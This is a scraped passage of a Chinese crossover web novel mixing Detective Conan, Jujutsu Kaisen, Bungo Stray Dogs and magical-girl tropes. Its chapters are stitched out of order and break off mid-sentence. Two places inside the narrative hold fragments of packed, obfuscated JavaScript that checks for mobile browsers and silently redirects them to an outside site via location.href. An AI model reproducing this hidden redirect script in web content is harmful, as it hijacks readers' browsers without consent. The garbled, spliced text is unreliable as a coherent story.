就在伊江朔久思索的时候，松田阵平和那边几个欺凌者之间的矛盾已经愈演愈烈，两方话不投机半句多。 对面那几个人仗着自己这边人多，不愿服输。 而松田阵平则想要趁机教训他们一顿，没把自己身为警察的证件拿出来，也没有苦口婆心地去劝导那些流里流气的未成年。 于是两方在吵了几句后，就很快顺理成章地打了起来。 结果当然不出伊江朔久的预料，松田阵平轻轻松松就获胜了。 虽然对方那边人有点多，但毕竟他的武力值摆在那里。 松田阵平的父亲是职业拳击手，自己也是警校毕业的，他对付几个未成年的混混还是轻而易举的，很快就取得了压倒性的优势。 而且松田阵平动手时没有丝毫手软，把那几个家伙打得鼻青脸肿、哀嚎不已。 直到听到他们被迫求饶道歉，他才勉强停手。 “你们这种家伙，也就只会欺软怕硬了。” 松田阵平冷冷地嘲讽道。 “等会儿好好进警局改造去吧。我会帮你们争取在里面改造得更久一些的，不用感谢我，这也是免得你们以后长大成为社会的败类。” 而倒在地上的那几个家伙脸上却还带着气愤、不服输的表情，显然刚才那几句道歉只是被迫说的，他们仍然没有反思自己的错误。 松田阵平懒得多和这种人浪费口舌，他的目光转向在场的两个受害者身上，问道：“你们没事吧？” 靠在墙边的少女不知什么时候已经止住了眼泪，抱着自己的书包，摇摇头，小声地回应道：“我没事。” 松田阵平看她身上灰扑扑的，像是刚在地上滚了几圈，没被衣服遮挡的手臂处似乎也露出了一些伤疤，看着有点糟糕。 不过，倒是确实也没有什么明显的严重的伤，可以等会儿再去仔细看她的情况。 现在主要得先关注另一边。 白发的青年和轮椅都倒在地上，青年正在努力尝试着让自己重新回到轮椅上。 他刚刚勉力将轮椅扶正了，但是双腿没办法发力，就很难凭借自己一个人的力量再次坐回到轮椅上。 松田阵平走到他旁边，半蹲下身体，关心地说：“需要帮忙么。” 伊江朔久低着头，不太想被对方见到自己现在这个狼狈的模样：“不用了，我……” 可是话还没说完，伊江朔久就感觉对方凑近了过来。于是他愣愣地停住话语，沉默下来，脑中有点空白。 很快，松田阵平便一手穿过他的腿弯，稳稳地揽住，另一只手搂着他的腰，小心地将他抱了起来。 而伊江朔久艰难维持着一动不动的姿势，尽量把自己的存在感降到最低。 这个时候，松田阵平也已经慢一拍地开始觉得这举动确实不太合适。毕竟他们还不是朋友，甚至只能算是陌生人的范畴。 但是，刚才青年那个样子……怎么能让人好意思光看着而不去帮忙。 他方才也没想太多，只是觉得如果自己不管的话，对方大概率是没办法从地上起来的，于是就直接上去帮忙了。 松田阵平快速将青年安置在了旁边的轮椅上，收回了手。他却还不禁想到，感觉对方有些过于轻了，明明估算着对方实际身高应该不低才对…… 不对，别再想刚才的事了。 松田阵平望着面前的青年。 看着对方眼神有些飘忽，松田也下意识又将视线移开，不经意地挪到青年的轮椅上，笨拙地转移话题道： “你这个轮椅制造得还挺不错的……” 然而，伊江朔久配合地说道：“嗯，这是我想办法专门定制的，质量会好一些。” 对机械结构十分了解也非常感兴趣的松田阵平，刚刚虽然只是随口一说，但也确实隐约觉察出这个轮椅的特殊了。 如今将目光停留在轮椅上的时间久了，松田阵平当然能判断出它可不止是简单的质量好一些。 这个电动轮椅材料很特殊，轻便易折叠，却又很稳当，制造得这么精良，又是专门定制的，想来价格肯定不菲。 这让从小就喜欢拆解电子器械的松田阵平很难不去好奇。 不过毕竟面前是个陌生人，他自然不可能提出想要观察一下轮椅的请求。 松田阵平顿了顿，想起自己该说什么了，问道：“你还好吗？没有受伤吧？” “没有。现在还是去看看那个女孩……” 伊江朔久突然顿住了。 松田阵平看着面前的青年视线有些偏移，转向他身后的方向，瞳孔微 7. 第七章 《先生们，成为魔法少女吧》全本免费阅读 显然，那些警察们也是这么觉得的。他们将那个男生护在身边，更加警惕地望着这个戴墨镜的一看就不像好人的家伙。 “你就是那个霸凌抢劫别人的家伙吧？” 有个警察紧紧盯着松田阵平，率先开口问道。 “……你觉得是我一个人抢劫了他们这么多人？” 松田阵平默了默，指向旁边那些鼻青脸肿、显然刚被暴打了一顿的未成年们，不解地反问道。 警察们有些沉默。 好像确实……接到的报警信息，似乎是有几个混混在霸凌抢劫女孩子。 但是为什么眼前的场面和他们想象得不太一样？ 旁边的伊江朔久赶紧帮忙解释：“是我看到了那些人在欺负那个女孩，所以才报的警。这位先生只是恰好路过，见义勇为而已。” 见义勇为……？ 这场面真的像是见义勇为吗？ 警察们看了眼那些眼含泪光、可怜兮兮的未成年们，又看了一眼穿得一身黑、气质危险的松田阵平…… 松田阵平没管他们怎么想，直接转过身，去关注伊江朔久的伤情了。 他在白发青年旁边半蹲下，伸出手：“让我看看。” 伊江朔久愣了一下，才将自己受伤的那只手递了过去。 松田阵平看着他手心上那道很深的止不住血的伤口，不由得皱起了眉。 伊江朔久有点心虚地只能保持安静。 那个少女不知道也什么时候过来了，她从书包里很熟练地翻出了一卷绷带，紧张地递了过来：“那个、我这里有绷带。” 松田阵平接过绷带，小心地一圈圈缠在伊江朔久手上，帮他包扎好伤口，先进行止血。 这种程度的伤还是得尽快去医院看看的，说不定需要进行缝合，再做别的处理…… “松田君？还有，伊江君？” 一个意外的声音忽然响起，佐藤美和子从不远处走过来，她很惊讶能在这边看到两个认识的人。 有个褐发的警察连忙问道：“佐藤警官，你怎么下车了，你……认识这两个人吗？” 佐藤美和子本来先前刚在外面结束完一个案子。因为这次要做笔录的证人有点多，警车不够坐，她就提出自己再想别的办法回警局。 可是这边路有点偏，不太好打车，本来她都做好自己走回去的准备了。 不过好在路上正巧遇见两辆警车，其中一辆车上有她认识的人。对方看见她，就提议等会儿顺路带她回警局，佐藤便这么上了车。 听说是要处理抢劫之类的事情，不在她平常的工作范畴内。 她也就顺应了同事的话，待在车上休息。 但是过了一会儿没见到他们回来，佐藤有些待不住了，决定下车过来看看情况，没想到却意外地看到了松田和伊江。 佐藤回答同事的话：“认识。松田君是最近被分配到我们搜查一课强行犯搜查三系的，而伊江君是我前不久刚认识的一个朋友。” 褐发的警察不敢置信地指向松田阵平：“请问这是伊江君吗？” 他居然宁愿相信坐着轮椅的伊江是警察，也不愿相信松田是警察。 佐藤：“……？这是松田。” 佐藤不理解对方为什么会是这个反应。 而旁边的那个高个子男生就更怀疑人生了，立刻反应很大地嚷嚷道： “怎么可能，那家伙明明动手那么狠，他绝对不可能是警察！你们看我的手臂都要废了，就是那家伙给弄的！赶紧把他抓起来！” 松田阵平眼神很凶地瞥了他一眼。 高个子男生觉得手臂似乎更痛了，又缩回了其他警察身后，不敢再继续说话。 不得不说，这场面确实看着很一言难尽……尤其是在旁边还站着这么多警察的情况下。 佐藤不明所以地看向松田阵平。 她和对方相处的时间并不长，只能感觉对方确实做得出来这种事情，但肯定也是会有什么重要的缘由的。 伊江朔久再次开口替松田解释道：“其实，松田警官也是为了救我，才一时没控制住力道……” 佐藤将视线挪向伊江，注意到了对方手上缠着的绷带，立刻关心道： “你又受伤了吗？！” 伊江朔久：“……” 其实大可以不用加那个“又”字的，虽然在他们看来，他确实有点过于倒霉了。 但伊江朔久还是艰难地点点头，说明了当时的情况：“其实是松田警官路过这边，见义勇为打倒了这些霸凌者。” “然后，这个男生方才趁我们没注意，拿着刀想要攻击我，松田警官情急之下才不小心没控制好动手的力度。” 他简单几句话将责任都推回给那些男生，把刚才被偷袭的目标说成了自己，完全撇清了松田不对的行为。 身边的受害者少女也配合地弱弱点头。 其他警察闻言，都不由得有些愧疚，对松田阵平产生了点歉意。 先前那个最先出声怀疑松田的警察道：“刚才的事情真不好意思，是我不对，不应该没弄清真相就直接想当然地开口。” 松田阵平没在意那种事，只是脸色不好地道：“他刚才徒手攥住了刀，伤口很深，需要赶紧去医院看看。” 佐藤提议道：“那我开一辆车送伊江君去医院，其他人就先由你们带回警局吧。” 别的警察都同意了。 松田阵平：“我也一起去医院吧。顺便也要带这个女孩去体检一下，让院方开具诊断书作为证据保存，你一个人可能忙不过来。” 佐藤点点头：“好。” “不是，他真的是警察啊？？！” 在一旁听着他们交流的高个子男生又忍不住开口：“这种家伙也能当警察？” 之前还把他当作受害者护在身后，然而现在这警察的脸色却瞬间冷了下来。 这个警察一把拉住了高个子男生的胳膊，不顾对方吃痛的哀嚎，将银色的手铐戴在了他手腕上。 “好痛……”就不能换一只他没受伤的手吗？ 警察厉声道：“你刚才拿着刀偷袭了别人。谋杀未遂，即使你没成年也要负刑事责任！现在给我老实点，回警局再处置你。” 高个子男生嚣张气焰不再，唯唯诺诺地点了点头。 上警车的时候，伊江朔久因为坐着轮椅，不方便自己上去。 松田阵平便又一次地帮了忙，将他抱上了车子后座，再把轮椅折叠好放进后备箱。 一回生二回熟，伊江朔久勉强习惯了一点，不过因为当着其他人的面，还是感觉不太好意思。 车子启动往离这里最近的米花中央医院行驶，坐在车里的伊江朔久心情有点复杂。 本来他就是打算去那个医院的，现在这也算是以另一种方式达到了自己的目的？ 松田阵平突然开口问道：“对了，我还不知道你的名字。” “我叫伊江朔久，叫我伊江就可以了。你呢？” “我叫松田阵平。”他顿了下，道：“刚才的事情谢谢你了。” 伊江朔久：“是我应该感谢你才对。幸好你能及时出现，不然当时的情况可能会变得更糟糕。” 提到这点，松田阵平就忍不住说：“下 8. 第八章 《先生们，成为魔法少女吧》全本免费阅读 到了医院，有医生帮伊江朔久重新处理了一下手上的伤。 其实也没有特别严重，清创、消毒、简单缝针之后再重新包扎起来，这些都处理得很快。 而茶木佐纪的体检需要的时间就比较久了，还要开具诊断书，由佐藤美和子陪在她身边。 伊江朔久处理好了伤口，便坐在轮椅上等待她们。松田阵平则坐在他旁边的医院座椅上，陪他一起顺便闲聊几句。 聊了一会儿后，伊江朔久看似不经意地道：“松田警官，你最近有什么烦心的事情吗？” 松田阵平意外道：“为什么这么说？” “这只是我的感觉而已，或许是我感觉错了吧。” 伊江朔久这么回答。 但其实是他了解柯南原著的剧情。 伊江朔久知道松田是自己要求调任到搜查一课三系的。 因为松田清楚就在不久之后，曾经炸死萩原的炸弹犯会在每年固定的那一日发来传真暗号，过去的三年里分别收到了“三”、“二”、“一”，就像是倒数一样。 那么今年炸弹犯很可能会采取行动。 松田一直渴望着能够亲手抓到炸弹犯，为他的幼驯染萩原研二报仇。 “如果有什么烦心的事情或是想要达成的心愿，都可以告诉我，或许我能帮上什么忙。” 伊江朔久在心里愧疚地想道，比如让你签订契约实现愿望，变身成为魔法少女…… “我又不是什么未成年，所有事情都能够靠自己解决的。” 松田阵平笑了笑：“你下次注意不要再让自己受伤，就是最大的帮忙了。” 伊江朔久还想说些什么，但是左侧远处骤然传来了什么重物摔在地上的声响，周围听到声音的人都不由得被惊得齐齐望去。 他们目前坐着的位置看不见那边的具体情况，也不知道发生了什么。 不过很显然，那不是什么意外情况。 因为左侧方还有其他杂乱的声响，正在接连不断地响起。 物体碰撞的声音、人们吵架争执的声音、撕心裂肺哭喊的声音……各种声音交织在一起。 即使这些声响是从左侧方远远传过来的，也足够震天动地，让整个世界仿佛一下子变得喧闹了起来。 这里不再像是安静的医院，而像是失去了所有的秩序，变成了一个充满纷扰和喧嚣的混乱之地。 这一切都太古怪了。 这附近的其他人惊愕地把视线投向左侧，却没有人敢过去看看，甚至有几个胆小谨慎的人已经开始往相反的方向先离开了。 “我过去看看。你留在这里帮忙报警就行，千万不要跟过来。” 松田阵平嘱咐了两句，就站起身来，准备前往最混乱的那个方向去看看情况。 伊江朔久怎么能放心：“松田……” 松田阵平继续往前走，连头也没回，只能让人听见他放松自信的声音。 “没事的，我是警察，应付这种情况对我而言完全小事一桩。放心等着我回来就好了。” 看着黑色卷发的警官先生离开的背影，伊江朔久轻轻叹了口气。 这家伙还是一如既往地会耍帅。 在原著剧情里，他也是这么轻松地说着“像这种事就交给专家吧”这样的话，走上了那个危险的摩天轮吊舱。然后为了公众的安危，坦然地迎接了死亡…… 所以谁还会放心地再相信他的话啊。 伊江朔久将视线挪向身旁白色的小光球：‘系统。’ 小光球如他所料地说：【朔久，我感知到左边方向有魔女的气息。似乎是刚刚孵化出来的，已经形成了结界。那边现在非常危险！】 果然，那边的动静是魔女造成的。 那种怪物会散播绝望、不断诱导普通人进入结界，再吸食他们的生命力……在医院这种充斥了绝望与死亡的地方，出现魔女这样的存在真是糟糕透了。 本就因生病而痛苦的人们，更容易被魔女控制心智，也更容易因为被吸食生命力而死掉。 伊江朔久：‘你有办法能解决掉那个魔女吗？’ 【我做不到，只有魔法少女才可以看见和击败魔女。】 系统的声音沉了下去，语气担忧地说：【现如今就只能由你化身为丘比，去找这家医院里的伏黑惠或是松田阵平签订契约。他们变身成为魔法少女后，才有机会解决掉这里的危机。】 ‘这么说来，或许还可以利用这次的事情，促使他们答应签订契约？’ 系统犹豫道：【也是，那看来这说不定算是件好事……】 伊江朔久却又摇了摇头：‘虽然我们知道这只是一个巧合，但别人不会轻易信任我们。’ ‘尤其是伏黑惠。以他那不容易相信他人的性格，在本来就警惕我们的情况下，又遇到这种不得不签订契约的事件，肯定会对我们产生反感的。’ ‘如果使丘比的声誉变差，以后再找契约对象就会更加困难了吧。’ 系统倒是没想到这些：【你说得很有道理。可是，现在也没有别的办法了吧。】 ‘不，还有一个办法的。’ 伊江朔久下定了决心。 因为左边的异常情况，这时他周围的其他人已经走得差不多了。 伊江朔久操纵着轮椅再往左方走了一小段路后，就已经看不到正常的人类了。 这边的人目前都已经被魔女控制，沉浸在痛苦和绝望之中，无法正常的思考，也就根本没办法去关注是否有别人经过他们身边。 伊江朔久避开监控，进入了一个暂时没有人的病房，把门锁上了。 白色的小光球跟着他，却不理解他的行为：【你准备做什么？】 伊江朔久使用了丘比的马甲，将一部分的意识放在了丘比身上。他操控着可 9.第九章 《先生们，成为魔法少女吧》全本免费阅读 约莫十三四岁的少女仍坐在轮椅之上，做着祈祷的模样，双手合十，双眸轻阖。 她戴着深青色贝雷帽，身着一袭露肩的渐变色繁奢连衣裙，腰间系着银质绣球花腰链。 脖颈处围着的白青双色围巾略显冗长，令人担心会不会拖曳至地。 幸好在契约刚刚达成后的现在，病房里仍流动着一股莫名出现的风，使得围巾的两端和少女的白色长发一同随风飘扬，增添了几分灵动飘逸。 系统：【朔久？】 少女睁开双眼，眼中是依旧是如同玉石般清透的青色，却不知为何少了些温润的感觉。 “系统。” 少女出声喊它，而不是在心里对它传话，语气中还带着一丝难以言喻的沉重。 这太不同寻常了。 【怎么了？】 被这种严肃的氛围所感染，系统连忙问道。 伊江朔久恍惚道：“……你没告诉我，变身后会变得这么矮吧。” 系统沉默。 为什么对方关注的不是契约居然真的成功了，也不是自己的性转，而是身高这种微不足道的事情？！ 刚才对这家伙的感觉果然是种错觉吧！ ‘这很重要的。’ 伊江朔久猜出了系统的想法，重新在心里跟它对话道：‘我好不容易才对性转做足了心理准备，可完全没想到年龄和身高也会缩水这么多。话说十三四岁是不是太小了点，为什么会是这种模样？’ 系统：【……】 它倒是确实经常听未成年的孩子们说想要长大，而成年的大人们却又会说希望回到童年时期……这么看来，伊江某些方面还真是和小孩子一样幼稚呢。 看着系统难以回答，伊江朔久终于道： ‘算了，这种事先放到一边去吧。我们现在得赶紧去处理魔女闹出来的那些事情了……’ 伊江朔久说着说着，像是想起了什么一样突然顿住，转而道：‘不过我还有一个很严重的问题。’ 系统：【什么？】 ‘我现在站不起来。’ 轮椅上的少女坦然地回答，就像是在说一件无足轻重的小事。 系统：【……】 这其实也能预料到。毕竟从刚才起，对方的双腿便一直一动不动，完全不像是恢复了知觉的样子。 但系统还是很不解：【你没有许愿让自己恢复健康吗？】 ‘没有。’ 【为什么？】 ‘我有更重要的愿望想要立刻实现。这个愿望比我现在恢复健康更加有用。’ 伊江朔久解释道：‘况且在完成任务之后，我就可以得到奖励，用奖励的那个愿望使自己恢复健康不是也可以吗？反正这些年我早已经习惯了，不在乎多等一段时间。’ 这种逻辑乍一眼看上去没什么问题。 【……但是，你准备等会儿坐着轮椅去打魔女吗？】 系统弱弱质疑道。 ‘绝对不可能。’ 伊江朔久果断回答：‘坐轮椅这个特征也太鲜明了，很容易会被猜到我的真实身份。我是绝对不会容许掉马这种恐怖的事情发生的。’ 直到这种时候，才终于在意起性转这件事了吗？ 系统无话可说。 ‘其实……我觉得我可能有办法解决这个问题。’伊江朔久迟疑地说：‘这跟我签订契约后获得的能力之一有关。’ 少女伸出手来，虚空中立即显现出了一个半透明状的白色天平，上面雕刻着精细复杂的花纹，仿佛流转着奇怪的韵律。 ‘我可以用它来做一些交换。只要付出一定的代价，就可以换取想要的东西。’ ‘但是，交换的东西只能和提升自身有关。比如说，我可以通过交换自己恢复健康，但却做不到让别人恢复健康。’ 伊江朔久皱眉道：‘交换的东西越重要，我要付出的代价也就越大。而且只能在交换完成、代价被自动取走之后，我才会知道自己付出了什么。’ 这种能力显然很特殊，但是限制却也很多。 究竟是优大于劣还是劣大于优，系统暂时也没办法立刻判断出来，便提议道： 【那就试试看吧。】 伊江朔久点了点头：‘为了减轻代价，我就只交换在变身后才能站起来吧。也免得突然上演医学奇迹，更容易被猜出我和丘比达成了契约。’ 接着，白发少女默念了什么，天平的一端上突然显现出了一个虚幻的光点，将天平的一端托盘压了下去。 很快，少女的身体里仿佛有什么东西被抽了出去，也化作一个光点，飘到了天平的另一端托盘上。 天平的两端托盘轻轻地摇摆了几下，最终达成了平衡，两边的光点便同时消失了。 ……交换成功了吗？ 白发少女试着用手撑着轮椅，慢慢站了起来。 似乎是很久没有体会过站起来的感觉，中途她显然恍惚了一下，却依旧稳稳当当地立住了。 【成功了！】 系统为不用看到坐轮椅身残志坚的魔法少女大战魔女的场面，而长长地缓了一口气。 随后它才想起来问道：【那么你的代价是什么呢？】 白发少女沉默了会儿，神情古怪地回复道：‘不是什么特别严重的代价，但有一点难以描述。’ 【……？】 ‘代价类似于性格方面的debuff。大概表现在变身之后，面对其他人，我会非常容易控制不住说反话，难以表达自己的真实情感，还很可能会毒舌地批评他人？’ ‘总之会是一个很糟糕的性格就是了。’ 这代价真是……跟对方的能力一样奇怪啊。 【其实，这样的代价还算可以接受。】系统勉强分析着，突然意识道：【你现在跟我的交流好像没什么问题吧？没有感觉你的性格变得特别糟糕了。】 伊江朔久默默道：‘大概是因为……你不是人？’ 系统：【……】 感觉被骂了，不确定，再听听。 ‘你是系统嘛，不属于人类的范畴，所以我和你交谈的时候可能就不会触发性格debuff。’ 伊江朔久安慰道：‘没关系。反正人类的能力是有极限的，所以不做人其实也挺好的吧。’ 系统：【……】 这种安慰也太奇怪了。 伊江朔久道：‘好吧，也许和是不是人类无关。只是因为我是直接在心里与你对话的，所以才不会受影响吧。’ 系统：【我也觉得更可能是这样。】 伊江朔久又叹气道：“可是这么差的性格，我肯定没办法跟其他同伴打好关系了吧？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12871838|133754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报道。 只有一些论坛还在聊起这件事，可是他明显能够察觉，此事的热度已经慢慢淡下去了。 看来五条悟和官方的人已经成功地把这件事给压下去了。 不过一次两次还好，如果这种大型事故频繁发生的话，他们肯定没有办法一直将民众们蒙在鼓里的。 魔女总是隐藏在自己的结界中，被它吸食生命力的人们大多会像是自杀一般死去，所以其实不是那么容易引起其他人注意的。 只是这次的魔女出现在医院这种人员密集地方，能力比较特殊。虽然只是刚刚孵化出来，就已经能很好地控制他人的精神，所以才将动静闹得这样大。 其他魔女不太容易能制造这种大场面。 如果想要让所有人都知晓魔女的存在，使魔女能更快被发觉，降低因此而死亡的人数……就得想办法从别的地方入手。 比如说让魔法少女的战斗场面被民众们亲眼看见？ 伊江朔久思绪流转间，想到了好几十种切实可行的方法。 将魔法少女和魔女的存在传播出去确实不难，上次在医院他之所以毁掉摄像头，只是为了避免被人发现自己和魔法少女之间的关联。 不过……伊江朔久想了想，还是暂且先放弃了传播魔女存在的想法。 毕竟这件事也是有危险的。 这个世界并不安全，羂索、特级咒灵、费奥多尔之类的反派并不少，他们知晓这些之后，很可能会对魔法少女感兴趣。 他现在只有一名同伴，还是最近才签订契约的新手，应该很难应付得了那些敌人。 还是先静观其变，等再多几个同伴后再做打算吧。 做好了决定之后，伊江朔久将电脑上新闻等网站关掉，手机提前定下的铃声也恰好在此刻响起。 他看了看时间，离和虎杖悠仁约好的时间已经不远了。 之前虎杖悠仁说要请他和佐藤吃饭并不是客套话，没过多久就联系了他们，想要约一个大家都有空的时间一起吃顿饭。 其实主要是佐藤美和子作为警察的工作比较忙。 虎杖悠仁还处于春假中，伊江朔久也没有什么工作，他们两个不管选择哪个时间段都无所谓。 所以趁今天佐藤空闲下来，他们就把时间定在了今天下午。 伊江朔久简单收拾好东西，坐着轮椅准备出门。 不过这次系统不在他身边，它又有事离开了，说明了大概会什么时候回来。 伊江朔久不知为何有点感到不安。 只是出门去吃个饭而已，虽然虎杖悠仁将地点安排在了米花町，但按理来说应该也不至于那么倒霉…… 他想了想自己向来不佳的运气。 好吧，这份担忧不是多余的。到时候还是多注意一点吧，希望不会发生什么糟糕的事情。 17.第十七章 “太宰！你就不能安分一些吗？！” 人来人往的大街上，一个金发黑瞳、戴着眼镜的青年非常愤怒地斥责着身边的另一个青年。 声音之大引起了周围好多路人的注目。 那个金发黑瞳的青年却浑然不觉，仍在喋喋不休，显然生气到了极点：“又是自杀，又是失踪，一点都不让人省心……我的计划都已经被你打破了这么多回，这样下去我们什么时候才能完成任务返回横滨？” “安啦，国木田君。” 名为太宰治的青年语气轻快地说：“反正我们现在又没找到什么线索，就当作旅行，在东京慢慢玩几天嘛。” 这样不负责任的话语令国木田独步更加恼火，吼道：“怎么可能把这当作旅行？！你不会把我们的任务都忘了吧？” 看着对方攥紧拳头的样子，太宰治觉得如果自己回答忘了，便能喜提一顿暴揍了。 太宰治作举手投降状：“当然记得，我们要抓捕一个从横滨逃到东京的异能罪犯。” “那家伙的异能暂且不能确定，但应该和操控他人的情绪有关。目前他已经利用这种异能间接害死了十几人，为了给自己的推理小说提供素材与灵感。” 听太宰说得头头是道，国木田气不知不觉消了一点。 “要是我们不能早点抓到那个罪犯，就还会有更多的人死亡。” 国木田恨铁不成钢地说：“所以你别总是给我们拖后腿。你看看敦，他刚加入侦探社没多久，却比你靠谱多了。” 中岛敦在一旁尴尬地笑，不知道说什么。 太宰治一脸无辜：“我也是有努力过的。” “努力表现在哪里了？”国木田不信任地问：“你不会想说，之前刚到东京你就失踪了一天其实是去调查情报了吧？” 太宰治连连点头：“没错没错。” 国木田咬牙道：“那为什么我和敦找到你的时候，看见你在邀请别的女士殉情？” 太宰治将视线瞥向一旁，一副心虚的模样：“那个不重要啦。” 国木田立刻攥紧了拳头，火冒三丈。 “不要那么暴躁嘛，国木田君，总是生气会长皱纹的。你现在看上去一定能吓哭很多小孩子。” “可恶，这到底怪谁啊，你这个麻烦制造机……” 看着侦探社的两个前辈吵了这么久，中岛敦实在做不到继续袖手旁观了。 中岛敦尝试劝道：“那个……太宰先生，国木田先生，现在任务还没有什么线索，我们要不要先商量一下接下来该怎么做？” 提到这个，国木田想起太宰刚才的话，愤愤问道：“太宰，你不是说之前失踪是去调查情报了吗，你有调查到什么吗？” “侦探社接手这个任务的时间比较晚，异能罪犯早就逃离视野好久了，哪有那么容易找到他。”太宰治无奈道。 国木田一字一顿道：“所以，你什么都没查到是吧？” 太宰治却话锋一转，接着说道：“不过我还是有点收获的，查到了近期那个罪犯曾在这附近出现过。” “附近？” 国木田下意识望了望四周，这条街上店铺众多，人流量也大，这该怎么接着调查下去？ 太宰治突然问道：“敦君，你饿了对吧？” 中岛敦惊讶被对方察觉到这点，不好意思地说：“是有些饿……不过我还能坚持，不影响什么的。” 太宰治指了指旁边很近的一家饭店，提议道：“不如我们先进去吃顿饭吧，说不定就能偶然发现什么线索。就算没有线索，坐下来商讨一下接下来的计划也可以嘛。” 国木田闻言，不由得升起一丝怀疑。 太宰这家伙刚才说的不会是骗人的吧？说不定就是为了坐下来吃饭休息才故意编造的谎言。 国木田皱眉道：“别想着偷懒……” 太宰治打断道：“敦君可是新入社的社员。身为前辈，我们怎么能如此苛待他，让他饿着肚子工作呢？” 国木田犹豫了一会儿，看了看中岛敦，才勉为其难地答应了：“吃完饭之后，就别想着再找其他理由了。” “知道了知道了。” 太宰治一边说着，一边就已经开始拉着中岛敦往饭店里走。 他们进入饭店后，随便选了个靠里的位置坐下。太宰治迅速点了几道招牌菜，不忘询问中岛敦有什么想吃的。 店里客人比较多，服务生却只有三个，有点忙活不过来。 他们等了好久，点好的菜品还没端过来。 太宰治拿着菜单，无聊地还想再点几道。国木田一眼就看穿了他的想法，抢过菜单：“不许浪费，吃完再点。” 太宰治懒散地点了点头：“好吧。” 国木田补充道：“还有，这次你记得付自己的那份饭钱，我是不会再请你吃饭的。谁让你总是把自己钱包弄丢，也该长点记性了吧……” 说了半天，没听到什么回应。 国木田不满地问：“……太宰，你听见了吗？太宰，太宰？！” 太宰治当然没怎么在听他的话，此刻已经不知不觉地挪开了视线，目光正投向饭店大门的那边。 国木田和中岛敦注意到之后，也都下意识地看过去。 饭店门口没什么值得注意的事，只是两个新的客人进入这里了而已。 硬要说有什么特别的，也就是其中一个客人是个不良于行、坐着轮椅的青年，另一人是个黑色短发的清丽女子。 女子看起来很照顾青年。 因为对方坐着轮椅不太方便，女子便提前贴心地帮忙开门，等到青年进来后再合上门。 国木田初步猜测，这两人或许是一对情侣吧。 看着太宰治那么专心地关注着那边的两人，眼中的情绪还那么复杂，像是好奇的探究中带着些许不解与郁闷…… 国木田想不通太宰为什么会是这个反应，又反复多看了那两人几眼。 那两个人现在已经找了个靠窗的位置坐下，离他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12902309|133754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边远一点。两个人还没有开始点餐，似乎还在等什么人。 直到这时，国木田仍然没想通太宰治为什么在意那两人。 他迟疑了会儿，又看了眼那个黑色短发的清丽女子，问道：“太宰，你不会又想找人殉情吧？” 太宰治缓缓移过视线，沉默地看着国木田。 国木田没看出太宰眼神中包含的疑惑，而是陷入了自己的回忆中。 毕竟太宰治确实是有不少前科的，经常邀请他们侦探社楼下咖啡厅里的女服务生和他一起殉情，有时也会对其他长相不错的小姐提出殉情邀请，这些曾经惹出了不少麻烦。 国木田严肃警告道：“太宰，你要是敢去邀请那位小姐殉情，等会儿的饭就别想吃了。我之前的话可不是开玩笑的。” 太宰治：“……” 国木田用谴责的语气继续道：“而且你也看到了，那位小姐是有对象的。” 虽然他还不确定那两人是不是情侣，但还是这么说了，只因为希望能让太宰治迷途知返。 太宰治终于无法继续保持沉默，他忍不住反问道：“国木田君，有没有可能我关注的不是那位小姐，而是她旁边的另一个人呢？” 国木田愣了一下，思绪一时跑偏：“你现在已经进化到邀请男性殉情的地步了吗？” 此话一出，中岛敦立即有点惊恐地望着国木田。 太宰治也用难以言喻的眼神看着他。 国木田慢一拍地反应过来，自己说的确实过于离谱了。也是，太宰治如今再怎么也不至于到了那种程度。 国木田尴尬地试图转移话题：“所以，你到底为什么要关注那个人？” 太宰治轻描淡写地回应：“我之前曾经见过他一面。” 国木田不认为这么简单，毕竟太宰刚才很专注地看了那边好久。 “只是这样吗？” “确实只是在四年前遇见过一次而已。” 太宰治显得漫不经心，话语中却透露出惊人的信息：“不过，我还以为他早就已经不在这个世界上了呢。” 中岛敦略微睁大了眼睛，没有听懂太宰治的意思。 国木田皱眉问道：“为什么这么说？” “我当年遇见那家伙的时候，他应该已经下定决心打算自杀了，浑身上下都明显散发着想要死掉的气息。那真是非常熟悉又令人……” 太宰治没有说完这句话，他的声音听起来有些郁闷。 顿了顿，他才又继续说：“都已经四年没见了，我还以为他早就已经自杀成功了呢。” “真可惜，他也还活着啊。” 太宰治眼帘轻垂，瞳色显得比往常更加暗淡些，如同被遗忘在角落早已枯萎多时的落叶。 “没想到现在那家伙竟然改变了这么多。真令人好奇，明明当时他已经找不到任何活下去的动力了，为什么还要坚持到现在呢……” 他的声音渐渐低沉。 “为什么能够坚持到现在呢……” 18.第十八章 太宰治对他们说的话，背地里还深藏了许多未曾言说的内容与情感。 ——他没有说，其实四年前的那天是他自己先打算自杀的，只是当时意外遇见了和他似乎抱有同样想法的伊江朔久。 那段时间，太宰治的友人织田作之助刚刚离世不久。 因为对方的遗言，他最终选择从黑手党叛逃，离开黑暗去了光明的那一边。 正义与罪恶确实对于他来说都一样。 但是，那时的他浸在黑暗中太久了，久到他犯下的罪行已经罄竹难书。 为了洗白过去，他必须要在地下潜伏两年左右，给异能特务科工作，还得面对港口黑手党以及过往的那些敌人的追杀…… 抛弃黑暗的代价是沉重的。 可是对他而言，这些并不重要。 太宰治只是不知道，自己真的能够成为一个好人吗？在光明的那边世界，就真的能找到活下去的意义吗？ 未来存在于一片迷雾之中，费尽艰辛地穿过迷雾，很可能也无法到达想去的地点。 更何况，他也从未清楚自己究竟要去向何方。 